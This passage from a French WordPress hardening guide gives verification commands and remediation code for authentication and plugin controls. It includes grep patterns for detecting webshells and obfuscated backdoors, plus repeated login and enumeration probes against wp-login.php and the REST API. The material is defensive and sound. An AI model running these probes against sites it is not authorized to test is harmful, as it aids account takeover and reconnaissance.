add_filter('xmlrpc_enabled', '__return_false');\nremove_action('wp_head', 'rsd_link');\n

Bloquer via .htaccess :

<Files xmlrpc.php>\nOrder allow,deny\nDeny from all\n</Files>\n

Via plugin de sécurité :

wp plugin install disable-xml-rpc --activate\n

Valeur par défaut : XML-RPC activé

2.1.8 — Sécurisation wp-login.php

Niveau : ?
\nRéférence : OWASP A07 / CIS WordPress 3.8 / NIST 800-53 AC-3
\nMITRE ATT&CK : T1110

Description : La page de connexion WordPress est une cible privilégiée des attaques. Implémenter des mesures de protection spécifiques : HTTPS forcé, headers de sécurité, masquage des erreurs.

Vérification :

# Tester page de connexion\ncurl -s -I https://example.com/wp-login.php\ncurl -s https://example.com/wp-login.php | grep -i "motdepasse\\|username\\|erreur"\n# Test redirection HTTPS\ncurl -s -I http://example.com/wp-login.php\n

Remédiation :
\n1. Forcer HTTPS pour l'admin :

define('FORCE_SSL_ADMIN', true);\n

Personnaliser les erreurs de connexion :

function custom_login_error() {\n    return 'Identifiants incorrects.';\n}\nadd_filter('login_errors', 'custom_login_error');\n

Ajouter headers de sécurité :

<FilesMatch "wp-login.php">\nHeader always set X-Frame-Options "DENY"\nHeader always set X-Content-Type-Options "nosniff"\n</FilesMatch>\n

Valeur par défaut : Protection basique uniquement

2.1.9 — Audit Sessions Utilisateurs

Niveau : ?
\nRéférence : OWASP A02 / CIS WordPress 3.9 / NIST 800-53 AU-3
\nMITRE ATT&CK : T1078

Description : Surveiller et auditer les sessions utilisateurs actives permet de détecter les accès non autorisés et les sessions concurrentes suspectes.

Vérification :

# Lister sessions actives\nwp user session list --all\n# Vérifier metadata utilisateurs\nwp user meta list 1 | grep session\n

Remédiation :
\n1. Installer plugin d'audit des sessions :

wp plugin install user-session-control --activate\n

Configurer expiration des sessions :

// Limiter durée des sessions\nfunction custom_session_expire($expiration, $user_id, $remember) {\n    return $remember ? DAY_IN_SECONDS * 7 : HOUR_IN_SECONDS * 2;\n}\nadd_filter('auth_cookie_expiration', 'custom_session_expire', 10, 3);\n

Valeur par défaut : Sessions illimitées dans le temps

2.1.10 — Protection Comptes Inactifs

Niveau : ?
\nRéférence : OWASP A01 / CIS WordPress 3.10 / NIST 800-53 AC-2
\nMITRE ATT&CK : T1078

Description : Les comptes utilisateurs inactifs représentent un risque de sécurité. Ils doivent être identifiés, désactivés ou supprimés selon une politique définie.

Vérification :

# Utilisateurs sans connexion récente\nwp user list --format=csv --fields=user_login,user_registered | head\n# Via plugin d'audit\nwp plugin list | grep -i "activity\\|audit\\|log"\n

Remédiation :
\n1. Auditer l'activité utilisateur :

wp plugin install wp-security-audit-log --activate\n

Script de désactivation automatique :

function disable_inactive_users() {\n    $inactive_days = 90;\n    $users = get_users(array('meta_key' => 'last_activity', 'meta_compare' => '<', 'meta_value' => date('Y-m-d', strtotime("-{$inactive_days} days"))));\n    foreach ($users as $user) {\n        wp_update_user(array('ID' => $user->ID, 'user_status' => 1));\n    }\n}\n

Valeur par défaut : Comptes inactifs conservés indéfiniment

2.1.11 — Sécurisation Mot de Passe Administrateur

Niveau : ?
\nRéférence : OWASP A07 / CIS WordPress 3.11 / NIST 800-53 IA-5
\nMITRE ATT&CK : T1110

Description : Le compte administrateur principal est la cible prioritaire des attaquants. Son mot de passe doit être extrêmement robuste et changé régulièrement.

Vérification :

# Identifier le compte admin principal\nwp user list --role=administrator --field=user_login | head -1\n# Tenter connexion avec mots de passe communs (avec autorisation)\n

Remédiation :
\n1. Générer mot de passe fort :

wp user update admin --user_pass="$(openssl rand -base64 32)"\n

Renommer le compte admin :

wp user update admin --user_login=newadminname\n

Implémenter rotation régulière des mots de passe

Valeur par défaut : Souvent "admin/admin" ou mots de passe faibles

2.1.12 — Configuration Cookies Sécurisés

Niveau : ?
\nRéférence : OWASP A02 / CIS WordPress 3.12 / NIST 800-53 SC-23
\nMITRE ATT&CK : T1539

Description : Les cookies d'authentification doivent être configurés avec les attributs de sécurité appropriés : Secure, HttpOnly, SameSite pour prévenir les attaques de détournement.

Vérification :

# Analyser les cookies\ncurl -c cookies.txt -b cookies.txt -s https://example.com/wp-login.php\ncat cookies.txt\n# Vérifier attributs sécurité\ncurl -s -I -D headers.txt https://example.com/wp-login.php\ngrep -i "set-cookie" headers.txt\n

Remédiation :
\n1. Configurer cookies sécurisés :

// Dans wp-config.php\nini_set('session.cookie_secure', 1);\nini_set('session.cookie_httponly', 1);\nini_set('session.cookie_samesite', 'Strict');\ndefine('COOKIE_DOMAIN', '.example.com');\n

Via .htaccess :

<IfModule mod_headers.c>\nHeader edit Set-Cookie ^(.*)$ $1;HttpOnly;Secure;SameSite=Strict\n</IfModule>\n

Valeur par défaut : Cookies sans attributs de sécurité

2.1.13 — Restriction Accès par IP

Niveau : ?
\nRéférence : OWASP A01 / CIS WordPress 3.13 / NIST 800-53 AC-3
\nMITRE ATT&CK : T1078

Description : Limiter l'accès administratif à des adresses IP spécifiques ajoute une couche de sécurité, particulièrement efficace pour les équipes avec IPs fixes.

Vérification :

# Tester accès depuis IP non autorisée\ncurl -s -I https://example.com/wp-admin/ --interface 8.8.8.8\n# Vérifier .htaccess ou configuration serveur\ngrep -A 10 -B 2 "allow\\|deny" .htaccess\n

Remédiation :
\n1. Protection via .htaccess :

<Directory "/wp-admin">\nOrder deny,allow\nDeny from all\nAllow from 192.168.1.0/24\nAllow from 203.0.113.5\n</Directory>\n

Via plugin de sécurité :

wp plugin install all-in-one-wp-security-and-firewall --activate\n

Valeur par défaut : Accès libre depuis toutes les IPs

2.1.14 — Audit Trail Authentifications

Niveau : ?
\nRéférence : OWASP A09 / CIS WordPress 3.14 / NIST 800-53 AU-2
\nMITRE ATT&CK : T1078

Description : Enregistrer toutes les tentatives d'authentification (succès et échecs) permet de détecter les attaques et d'analyser les patterns suspects d'accès.

Vérification :

# Vérifier logs d'activité\nwp plugin list | grep -iE "(log|audit|activity)"\n# Examiner fichiers de log\nls -la wp-content/uploads/wp-security-audit-log/\ntail -f wp-content/debug.log | grep -i login\n

Remédiation :
\n1. Installer plugin d'audit complet :

wp plugin install wp-security-audit-log --activate\n

Configurer logs personnalisés :

function log_login_attempts($user_login, $user = null) {\n    $ip = $_SERVER['REMOTE_ADDR'];\n    $user_agent = $_SERVER['HTTP_USER_AGENT'];\n    error_log("Login attempt: {$user_login} from {$ip} - {$user_agent}");\n}\nadd_action('wp_login_failed', 'log_login_attempts');\nadd_action('wp_login', 'log_login_attempts', 10, 2);\n

Valeur par défaut : Logs minimaux dans les logs serveur

2.1.15 — Protection Contre Attaques Timing

Niveau : ?
\nRéférence : OWASP A07 / CIS WordPress 3.15 / NIST 800-53 SC-5
\nMITRE ATT&CK : T1110

Description : Les différences de temps de réponse entre utilisateur valide/invalide peuvent révéler des informations. Uniformiser les temps de réponse prévient les attaques par analyse temporelle.

Vérification :

# Mesurer temps de réponse\ntime curl -d "log=validuser&pwd=wrongpass" https://example.com/wp-login.php\ntime curl -d "log=invaliduser&pwd=wrongpass" https://example.com/wp-login.php\n# Comparer les différences\n

Remédiation :
\n1. Uniformiser les temps de réponse :

function uniform_login_response() {\n    // Délai fixe pour toutes les réponses\n    usleep(rand(500000, 1000000)); // 0.5-1 seconde\n}\nadd_action('login_init', 'uniform_login_response');\n

Utiliser des hashes constants :

function secure_login_check($user, $password) {\n    $stored_hash = '$2y$10$dummy.hash.for.timing.protection';\n    password_verify($password, $stored_hash); // Calcul constant\n    return $user;\n}\n

Valeur par défaut : Temps de réponse variables

2.1.16 — Gestion Expiration Mots de Passe

Niveau : ?
\nRéférence : OWASP A07 / CIS WordPress 3.16 / NIST 800-53 IA-5
\nMITRE ATT&CK : T1110

Description : Forcer le renouvellement périodique des mots de passe, particulièrement pour les comptes privilégiés, réduit l'impact d'une compromission de credentials.

Vérification :

# Vérifier plugins de gestion des mots de passe\nwp plugin list | grep -iE "(password|expir)"\n# Examiner métadonnées utilisateurs\nwp user meta list 1 | grep -iE "(password|expir)"\n

Remédiation :
\n1. Plugin d'expiration des mots de passe :

wp plugin install force-password-reset --activate\n

Code personnalisé :

function check_password_age($user_login, $user = null) {\n    $last_change = get_user_meta($user->ID, 'password_last_change', true);\n    $max_age = 90 * DAY_IN_SECONDS; // 90 jours\n\n    if ($last_change && (time() - $last_change > $max_age)) {\n        wp_redirect(admin_url('profile.php?password_expired=1'));\n        exit;\n    }\n}\nadd_action('wp_login', 'check_password_age', 10, 2);\n

Valeur par défaut : Mots de passe sans expiration

2.1.17 — Protection Reset Mot de Passe

Niveau : ?
\nRéférence : OWASP A07 / CIS WordPress 3.17 / NIST 800-53 IA-5
\nMITRE ATT&CK : T1110

Description : Le processus de réinitialisation des mots de passe peut être exploité pour des attaques par énumération et déni de service. Il doit être sécurisé et limité.

Vérification :

# Tester reset de mot de passe\ncurl -d "user_login=admin" https://example.com/wp-login.php?action=lostpassword\ncurl -d "user_login=nonexistent" https://example.com/wp-login.php?action=lostpassword\n# Vérifier rate limiting\n

Remédiation :
\n1. Limiter les demandes de reset :

function limit_password_reset() {\n    $ip = $_SERVER['REMOTE_ADDR'];\n    $transient = 'pwd_reset_' . md5($ip);\n\n    if (get_transient($transient)) {\n        wp_die('Trop de demandes. Réessayez dans 15 minutes.');\n    }\n\n    set_transient($transient, true, 15 * MINUTE_IN_SECONDS);\n}\nadd_action('lostpassword_post', 'limit_password_reset');\n

Masquer les messages d'erreur :

function generic_reset_message() {\n    return 'Si cet utilisateur existe, un email a été envoyé.';\n}\nadd_filter('lostpassword_errors', 'generic_reset_message');\n

Valeur par défaut : Reset illimité avec messages révélateurs

2.1.18 — Authentification Applications Tierces

Niveau : ?
\nRéférence : OWASP A02 / CIS WordPress 3.18 / NIST 800-53 IA-2
\nMITRE ATT&CK : T1078

Description : Les applications tierces utilisant l'API WordPress doivent utiliser des méthodes d'authentification sécurisées : Application Passwords, OAuth, JWT plutôt que les credentials directs.

Vérification :

# Vérifier Application Passwords\nwp user application-password list admin\n# Tester authentification API\ncurl -u "admin:password" https://example.com/wp-json/wp/v2/users/me\n

Remédiation :
\n1. Configurer Application Passwords :

wp user application-password create admin "Mon App Mobile" --porcelain\n

Désactiver authentification basique pour API :

add_filter('rest_authentication_errors', function($result) {\n    if (!empty($result)) {\n        return $result;\n    }\n\n    if (!is_user_logged_in() && !isset($_SERVER['PHP_AUTH_USER'])) {\n        return new WP_Error('rest_not_logged_in', 'Authentification requise.', array('status' => 401));\n    }\n\n    return $result;\n});\n

Valeur par défaut : Authentification basique possible

2.1.19 — Séparation Comptes Fonctionnels

Niveau : ?
\nRéférence : OWASP A01 / CIS WordPress 3.19 / NIST 800-53 AC-6
\nMITRE ATT&CK : T1078

Description : Séparer les comptes techniques/fonctionnels des comptes utilisateurs humains améliore la traçabilité et permet un contrôle d'accès granulaire.

Vérification :

# Identifier les comptes de service\nwp user list --format=table --fields=user_login,user_email,roles\n# Vérifier les dernières connexions\nwp plugin install wp-security-audit-log --activate\n

Remédiation :
\n1. Créer comptes dédiés :

wp user create api-service [email protected] --role=editor --user_pass="$(openssl rand -base64 32)"\nwp user create backup-service [email protected] --role=subscriber --user_pass="$(openssl rand -base64 32)"\n

Restreindre les permissions :

// Rôle personnalisé pour services\nfunction create_service_role() {\n    add_role('api_service', 'Service API', array(\n        'read' => true,\n        'edit_posts' => true,\n        'publish_posts' => false\n    ));\n}\nadd_action('init', 'create_service_role');\n

Valeur par défaut : Comptes mixtes humains/services

2.1.20 — Monitoring Escalade Privilèges

Niveau : ?
\nRéférence : OWASP A01 / CIS WordPress 3.20 / NIST 800-53 AU-6
\nMITRE ATT&CK : T1078

Description : Surveiller les changements de rôles et permissions utilisateurs permet de détecter les escalades de privilèges malveillantes ou accidentelles.

Vérification :

# Vérifier historique des changements de rôles\nwp plugin list | grep -iE "(audit|security|log)"\n# Examiner les logs d'activité\n

Remédiation :
\n1. Monitoring automatisé :

function monitor_role_changes($user_id, $role, $old_roles) {\n    $user = get_userdata($user_id);\n    $new_roles = $user->roles;\n\n    if ($old_roles != $new_roles) {\n        error_log("SECURITY: Role change for user {$user->user_login}: " . \n                 implode(',', $old_roles) . " -> " . implode(',', $new_roles));\n\n        // Alerter l'administrateur\n        wp_mail('[email protected]', 'Changement de rôle détecté', \n                "L'utilisateur {$user->user_login} a changé de rôle.");\n    }\n}\nadd_action('set_user_role', 'monitor_role_changes', 10, 3);\n

Plugin d'audit complet :

wp plugin install wp-security-audit-log --activate\n

Valeur par défaut : Changements non surveillés

2.1.21 — Protection Contre User Enumeration API

Niveau : ?
\nRéférence : OWASP A01 / CIS WordPress 3.21 / NIST 800-53 SC-28
\nMITRE ATT&CK : T1087

Description : L'API REST WordPress expose par défaut les informations utilisateurs. Cette exposition doit être contrôlée pour empêcher la reconnaissance et le profilage des utilisateurs.

Vérification :

# Test exposition utilisateurs via API\ncurl -s https://example.com/wp-json/wp/v2/users/ | jq '.[] | {id, name, slug}'\ncurl -s https://example.com/wp-json/wp/v2/users/1 | jq '{id, name, slug, roles}'\n

Remédiation :
\n1. Restreindre l'accès à l'API utilisateurs :

// Bloquer complètement l'endpoint users\nadd_filter('rest_endpoints', function($endpoints) {\n    if (isset($endpoints['/wp/v2/users'])) {\n        unset($endpoints['/wp/v2/users']);\n    }\n    if (isset($endpoints['/wp/v2/users/(?P<id>[\\d]+)'])) {\n        unset($endpoints['/wp/v2/users/(?P<id>[\\d]+)']);\n    }\n    return $endpoints;\n});\n

Ou limiter aux utilisateurs connectés :

add_filter('rest_user_query', function($prepared_args, $request) {\n    if (!is_user_logged_in()) {\n        return new WP_Error('rest_user_cannot_view', 'Accès non autorisé.', array('status' => 401));\n    }\n    return $prepared_args;\n}, 10, 2);\n

Valeur par défaut : API utilisateurs publique

2.1.22 — Gestion Sessions Concurrentes

Niveau : ?
\nRéférence : OWASP A02 / CIS WordPress 3.22 / NIST 800-53 AC-12
\nMITRE ATT&CK : T1078

Description : Limiter le nombre de sessions simultanées par utilisateur et détecter les connexions concurrentes suspectes peut révéler des compromissions de comptes.

Vérification :

# Examiner les sessions actives\nwp user session list --all --format=table\n# Compter sessions par utilisateur\nwp user list --format=ids | xargs -I {} wp user session list {} --format=count\n

Remédiation :
\n1. Limiter les sessions concurrentes :

function limit_concurrent_sessions($user_login, $user) {\n    $sessions = WP_Session_Tokens::get_instance($user->ID);\n    $all_sessions = $sessions->get_all();\n\n    if (count($all_sessions) > 2) { // Max 2 sessions\n        // Détruire les sessions anciennes\n        $sessions->destroy_others($_COOKIE[LOGGED_IN_COOKIE]);\n    }\n}\nadd_action('wp_login', 'limit_concurrent_sessions', 10, 2);\n

Alertes de connexions multiples :

function alert_concurrent_login($user_login, $user) {\n    $sessions = WP_Session_Tokens::get_instance($user->ID);\n    if (count($sessions->get_all()) > 1) {\n        wp_mail($user->user_email, 'Nouvelle connexion détectée', \n                'Une nouvelle connexion a été détectée sur votre compte.');\n    }\n}\nadd_action('wp_login', 'alert_concurrent_login', 10, 2);\n

Valeur par défaut : Sessions multiples illimitées

2.1.23 — Protection Mot de Passe en Transit

Niveau : ?
\nRéférence : OWASP A02 / CIS WordPress 3.23 / NIST 800-53 SC-8
\nMITRE ATT&CK : T1040

Description : Tous les échanges de mots de passe doivent être chiffrés via HTTPS. HTTP doit être complètement désactivé pour les pages d'authentification.

Vérification :

# Tester redirection HTTPS\ncurl -I http://example.com/wp-login.php\ncurl -I http://example.com/wp-admin/\n# Vérifier force SSL\ngrep "FORCE_SSL_ADMIN" wp-config.php\n

Remédiation :
\n1. Forcer HTTPS pour l'administration :

// wp-config.php\ndefine('FORCE_SSL_ADMIN', true);\n

Redirection .htaccess :

RewriteCond %{HTTPS} off\nRewriteRule ^(wp-admin|wp-login\\.php).*$ https://%{HTTP_HOST}%{REQUEST_URI} [L,R=301]\n

Headers de sécurité HTTPS :

<IfModule mod_headers.c>\nHeader always set Strict-Transport-Security "max-age=31536000; includeSubDomains"\n</IfModule>\n

Valeur par défaut : HTTP autorisé

2.1.24 — Authentification Forte pour API

Niveau : ?
\nRéférence : OWASP A02 / CIS WordPress 3.24 / NIST 800-53 IA-2
\nMITRE ATT&CK : T1078

Description : L'API REST WordPress doit utiliser des méthodes d'authentification robustes : JWT, OAuth2, ou Application Passwords plutôt que l'authentification basique.

Vérification :

# Tester authentification API\ncurl -u "admin:password" https://example.com/wp-json/wp/v2/posts\n# Vérifier plugins d'authentification\nwp plugin list | grep -iE "(jwt|oauth|auth)"\n

Remédiation :
\n1. Installer JWT Authentication :

wp plugin install jwt-authentication-for-wp-rest-api --activate\n

Configuration JWT :

// wp-config.php\ndefine('JWT_AUTH_SECRET_KEY', 'your-secret-key');\ndefine('JWT_AUTH_CORS_ENABLE', true);\n

Désactiver auth basique :

add_filter('rest_authentication_errors', function($result) {\n    if (isset($_SERVER['PHP_AUTH_USER'])) {\n        return new WP_Error('rest_authentication_error', 'Authentification basique désactivée.');\n    }\n    return $result;\n});\n

Valeur par défaut : Authentification basique autorisée

2.1.25 — Politique Verrouillage Compte

Niveau : ?
\nRéférence : OWASP A07 / CIS WordPress 3.25 / NIST 800-53 AC-7
\nMITRE ATT&CK : T1110

Description : Définir une politique claire de verrouillage des comptes après échecs d'authentification, avec procédures de déverrouillage sécurisées.

Vérification :

# Tester politique de verrouillage\n# (Nécessite plusieurs tentatives d'échec)\nfor i in {1..5}; do\n  curl -d "log=admin&pwd=wrong$i" https://example.com/wp-login.php\ndone\n# Vérifier état du verrouillage\n

Remédiation :
\n1. Configuration Wordfence :

wp plugin install wordfence --activate\nwp option update wordfence_ls_maxFailures 5\nwp option update wordfence_ls_duration 1800\n

Politique personnalisée :

function advanced_account_lockout($username) {\n    $lockout_key = 'failed_login_' . md5($username);\n    $failed_count = get_transient($lockout_key) ?: 0;\n\n    if ($failed_count >= 3) {\n        // Verrouillage progressif\n        $lockout_duration = min(pow(2, $failed_count - 3) * 300, 86400); // Max 24h\n        set_transient($lockout_key . '_locked', true, $lockout_duration);\n\n        wp_die("Compte temporairement verrouillé. Réessayez dans " . \n               human_time_diff(time() + $lockout_duration) . ".");\n    }\n}\nadd_action('wp_login_failed', 'advanced_account_lockout');\n

Valeur par défaut : Pas de verrouillage automatique

S3 — PLUGINS & EXTENSIONS (25 contrôles)

Cette section couvre la sécurité des plugins WordPress, leur gestion et leur surveillance.

3.1.1 — Inventaire Complet des Plugins

Niveau : ?
\nRéférence : OWASP A06 / CIS WordPress 4.1 / NIST 800-53 CM-8
\nMITRE ATT&CK : T1190

Description : Maintenir un inventaire complet et à jour de tous les plugins installés est essentiel pour la gestion des vulnérabilités et la réduction de la surface d'attaque.

Vérification :

# Lister tous les plugins\nwp plugin list --format=table --fields=name,status,version,update_version\n# Scanner avec WPScan\nwpscan --url https://example.com --enumerate vp --plugins-detection aggressive --no-banner\n# Plugins inactifs\nwp plugin list --status=inactive\n

Remédiation :
\n1. Documenter tous les plugins :

wp plugin list --format=csv --fields=name,version,status,auto_update > plugins_inventory.csv\n

Supprimer plugins inactifs :

wp plugin delete $(wp plugin list --status=inactive --field=name)\n

Audit régulier :

# Script d'audit mensuel\n#!/bin/bash\nwp plugin list --field=name | while read plugin; do\n  echo "Plugin: $plugin - $(wp plugin get $plugin --field=version)"\ndone\n

Valeur par défaut : Plugins accumulés sans inventaire

3.1.2 — Plugins Obsolètes et Abandonnés

Niveau : ?
\nRéférence : OWASP A06 / CIS WordPress 4.2 / NIST 800-53 SI-2
\nMITRE ATT&CK : T1190

Description : Les plugins obsolètes ou abandonnés par leurs développeurs représentent un risque critique car ils ne reçoivent plus de correctifs de sécurité.

Vérification :

# Vérifier mises à jour disponibles\nwp plugin list --update=available\n# Scanner plugins obsolètes avec WPScan\nwpscan --url https://example.com --enumerate vp --plugins-version-detection aggressive\n# Vérifier dernière mise à jour\nwp plugin list --format=json | jq '.[] | {name: .name, version: .version}'\n

Remédiation :
\n1. Identifier plugins sans mise à jour récente :

# Plugins sans update depuis 2 ans\nwp plugin list --format=json | jq '.[] | select(.last_updated < "2022-01-01")'\n

Remplacer ou supprimer :

wp plugin deactivate abandoned-plugin\nwp plugin delete abandoned-plugin\n# Chercher alternative\nwp plugin search "alternative functionality"\n

Surveillance automatisée :

function check_abandoned_plugins() {\n    $plugins = get_plugins();\n    foreach ($plugins as $plugin_file => $plugin_data) {\n        // Vérifier âge dernière mise à jour\n        $last_updated = get_plugin_data($plugin_file)['Version'];\n        // Alerter si > 2 ans\n    }\n}\nwp_schedule_event(time(), 'monthly', 'check_abandoned_plugins');\n

Valeur par défaut : Plugins conservés indéfiniment

3.1.3 — Vulnérabilités Connues (Base WPScan)

Niveau : ?
\nRéférence : OWASP A06 / CIS WordPress 4.3 / NIST 800-53 SI-2
\nMITRE ATT&CK : T1190

Description : Vérifier régulièrement les plugins contre la base de vulnérabilités WPScan pour identifier les risques de sécurité connus et non patchés.

Vérification :

# Scan vulnérabilités avec API key\nwpscan --url https://example.com --enumerate vp --plugins-detection aggressive --api-token YOUR_API_TOKEN\n# Vérification spécifique\nwpscan --url https://example.com --enumerate vp --plugins-detection aggressive | grep -A 5 -B 5 "vulnerabilities"\n

Remédiation :
\n1. Audit automatisé quotidien :

#!/bin/bash\nwpscan --url https://example.com --enumerate vp --api-token $WPSCAN_TOKEN --format json > daily_scan.json\nif grep -q "vulnerabilities" daily_scan.json; then\n  mail -s "Vulnérabilités détectées" [email protected] < daily_scan.json\nfi\n

Mise à jour immédiate des plugins vulnérables :

wp plugin update --all\n

Surveillance continue :

// Hook pour vérifier avant activation\nfunction check_plugin_vulnerabilities($plugin) {\n    // Intégration API WPScan\n    $response = wp_remote_get("https://wpscan.com/api/v3/plugins/{$plugin}");\n    // Analyser réponse et bloquer si vulnérable\n}\nadd_action('activate_plugin', 'check_plugin_vulnerabilities');\n

Valeur par défaut : Aucune vérification automatique

3.1.4 — Permissions et Capacités des Plugins

Niveau : ?
\nRéférence : OWASP A01 / CIS WordPress 4.4 / NIST 800-53 AC-6
\nMITRE ATT&CK : T1078

Description : Auditer les permissions demandées par les plugins et s'assurer qu'elles respectent le principe du moindre privilège. Certains plugins demandent des droits excessifs.

Vérification :

# Examiner les capacités des plugins\nwp eval "\n\\$plugins = get_plugins();\nforeach (\\$plugins as \\$plugin => \\$data) {\n    echo \\$plugin . ' - ' . \\$data['Name'] . PHP_EOL;\n}\n"\n# Vérifier hooks et actions\ngrep -r "add_action\\|add_filter" wp-content/plugins/ | head -20\n

Remédiation :
\n1. Audit des permissions :

function audit_plugin_capabilities() {\n    $active_plugins = get_option('active_plugins');\n    foreach ($active_plugins as $plugin) {\n        $plugin_data = get_plugin_data(WP_PLUGIN_DIR . '/' . $plugin);\n        // Analyser les hooks et capabilities\n        echo "Plugin: " . $plugin_data['Name'] . " - Version: " . $plugin_data['Version'] . "\\n";\n    }\n}\n

Restriction des plugins par rôle :

function restrict_plugin_access() {\n    if (!current_user_can('manage_options')) {\n        remove_menu_page('plugins.php');\n    }\n}\nadd_action('admin_menu', 'restrict_plugin_access');\n

Valeur par défaut : Permissions larges non auditées

3.1.5 — Plugins Nulled et Piratés

Niveau : ?
\nRéférence : OWASP A08 / CIS WordPress 4.5 / NIST 800-53 SI-3
\nMITRE ATT&CK : T1505

Description : Les plugins piratés ou "nulled" contiennent souvent des backdoors, malwares ou code malveillant. Ils représentent un risque critique pour la sécurité.

Vérification :

# Scanner fichiers suspects\nfind wp-content/plugins/ -name "*.php" -exec grep -l "eval\\|base64_decode\\|gzinflate" {} \\;\n# Vérifier intégrité avec checksums officiels\nwp plugin verify-checksums --all\n# Rechercher backdoors connues\ngrep -r "c99\\|r57\\|webshell" wp-content/plugins/\n

Remédiation :
\n1. Supprimer immédiatement les plugins suspects :

wp plugin deactivate suspicious-plugin\nwp plugin delete suspicious-plugin\n

Scanner régulièrement :

# Script de détection malware\n#!/bin/bash\nfind wp-content/ -name "*.php" | xargs grep -l "eval.*base64_decode\\|system.*\\$_" > suspicious_files.txt\nif [ -s suspicious_files.txt ]; then\n  mail -s "Fichiers suspects détectés" [email protected] < suspicious_files.txt\nfi\n

Politique d'acquisition stricte :

// Bloquer installation depuis sources non officielles\nfunction restrict_plugin_sources($result, $action, $args) {\n    if ($action == 'install-plugin') {\n        // Vérifier source officielle WordPress.org\n        if (!str_contains($args['source'], 'downloads.wordpress.org')) {\n            return new WP_Error('unauthorized_source', 'Installation uniquement depuis WordPress.org autorisée.');\n        }\n    }\n    return $result;\n}\nadd_filter('upgrader_pre_download', 'restrict_plugin_sources', 10, 3);\n

Valeur par défaut : Aucun contrôle des sources

3.1.6 — Auto-Update des Plugins Critiques

Niveau : ?
\nRéférence : OWASP A06 / CIS WordPress 4.6 / NIST 800-53 SI-2
\nMITRE ATT&CK : T1190

Description : Activer les mises à jour automatiques pour les plugins de sécurité critiques assure une protection rapide contre les vulnérabilités nouvellement découvertes.

Vérification :

# Vérifier statut auto-update\nwp plugin auto-updates status\nwp plugin list --format=table --fields=name,auto_update\n# Plugins de sécurité installés\nwp plugin list | grep -iE "(security|firewall|backup|malware)"\n

Remédiation :
\n1. Activer auto-update pour plugins critiques :

wp plugin auto-updates enable wordfence\nwp plugin auto-updates enable updraftplus\nwp plugin auto-updates enable sucuri-scanner\n

Configuration globale :

// wp-config.php - Auto-update tous les plugins\ndefine('WP_AUTO_UPDATE_CORE', true);\nadd_filter('auto_update_plugin', '__return_true');\n

Auto-update sélectif :

function selective_plugin_auto_update($update, $item) {\n    $security_plugins = array(\n        'wordfence/wordfence.php',\n        'updraftplus/updraftplus.php',\n        'sucuri-scanner/sucuri.php'\n    );\n    return in_array($item->plugin, $security_plugins);\n}\nadd_filter('auto_update_plugin', 'selective_plugin_auto_update', 10, 2);\n

Valeur par défaut : Auto-update désactivé

3.1.7 — Réduction Surface d'Attaque

Niveau : ?
\nRéférence : OWASP A04 / CIS WordPress 4.7 / NIST 800-53 CM-7
\nMITRE ATT&CK : T1190

Description : Minimiser le nombre de plugins actifs réduit la surface d'attaque. Chaque plugin supplémentaire augmente les risques de vulnérabilités et de conflits.

Vérification :

# Compter plugins actifs\nwp plugin list --status=active --format=count\n# Analyser utilisation réelle\nwp plugin list --format=table --fields=name,status,version\n# Identifier plugins redondants\n

Remédiation :
\n1. Audit d'utilisation :

# Désactiver temporairement et tester\nwp plugin deactivate non-essential-plugin\n# Tester fonctionnalité site\n# Si OK, supprimer définitivement\nwp plugin delete non-essential-plugin\n

Consolidation des fonctionnalités :

// Remplacer multiple plugins par un seul multifonction\n// Ex: Wordfence remplace plusieurs plugins sécurité\nwp plugin install wordfence --activate\nwp plugin deactivate old-security-plugin1 old-security-plugin2\n

Politique de plugins minimale :

// Limite nombre de plugins actifs\nfunction enforce_plugin_limit() {\n    $active_count = count(get_option('active_plugins', array()));\n    if ($active_count > 20) { // Limite à 20 plugins\n        wp_die('Limite de plugins atteinte. Désactivez des plugins avant d\\'en activer de nouveaux.');\n    }\n}\nadd_action('activate_plugin', 'enforce_plugin_limit');\n

Valeur par défaut : Accumulation illimitée de plugins

3.1.8 — Validation Code Source Plugins

Niveau : ?
\nRéférence : OWASP A04 / CIS WordPress 4.8 / NIST 800-53 SI-7
\nMITRE ATT&CK : T1505

Description : Valider l'intégrité et la sécurité du code source des plugins avant installation, particulièrement pour les plugins provenant de sources tierces.

Vérification :

# Vérifier checksums plugins officiels\nwp plugin verify-checksums --all\n# Scanner code malveillant\nfind wp-content/plugins/ -name "*.php" -exec php -l {} \\; | grep -v "No syntax errors"\n# Rechercher patterns suspects\ngrep -r "eval\\|exec\\|system\\|shell_exec" wp-content/plugins/\n

Remédiation :
\n1. Validation avant installation :

# Télécharger et analyser avant installation\nwget https://downloads.wordpress.org/plugin/plugin-name.zip\nunzip plugin-name.zip\ngrep -r "eval\\|base64_decode" plugin-name/\n# Si clean, installer\nwp plugin install plugin-name.zip\n

Monitoring intégrité :

function monitor_plugin_integrity() {\n    $plugins_dir = WP_PLUGIN_DIR;\n    $known_hashes = get_option('plugin_hashes', array());\n\n    foreach (glob("$plugins_dir/*/*.php") as $file) {\n        $current_hash = md5_file($file);\n        $relative_path = str_replace($plugins_dir . '/', '', $file);\n\n        if (isset($known_hashes[$relative_path]) && \n            $known_hashes[$relative_path] !== $current_hash) {\n            // Fichier modifié - alerter\n            wp_mail('[email protected]', 'Plugin modifié', "Le fichier $file a été modifié.");\n        }\n\n        $known_hashes[$relative_path] = $current_hash;\n    }\n\n    update_option('plugin_hashes', $known_hashes);\n}\nwp_schedule_event(time(), 'daily', 'monitor_plugin_integrity');\n

Valeur par défaut : Aucune validation du code

3.1.9 — Gestion Dépendances des Plugins

Niveau : ?
\nRéférence : OWASP A06 / CIS WordPress 4.9 / NIST 800-53 CM-8
\nMITRE ATT&CK : T1195

Description : Documenter et gérer les dépendances entre plugins pour éviter les conflits de sécurité et assurer la cohérence des mises à jour.

Vérification :

# Analyser dépendances\nwp plugin list --format=json | jq '.[] | {name: .name, requires: .requires_wp}'\n# Tester désactivation en cascade\nwp plugin deactivate parent-plugin\n# Vérifier erreurs\ntail -f wp-content/debug.log\n

Remédiation :
\n1. Cartographie des dépendances :

function map_plugin_dependencies() {\n    $plugins = get_plugins();\n    $dependencies = array();\n\n    foreach ($plugins as $plugin_file => $plugin_data) {\n        // Analyser headers et requirements\n        if (isset($plugin_data['RequiresPlugins'])) {\n            $dependencies[$plugin_file] = explode(',', $plugin_data['RequiresPlugins']);\n        }\n    }\n\n    update_option('plugin_dependencies', $dependencies);\n    return $dependencies;\n}\n

Validation ordre de désactivation :

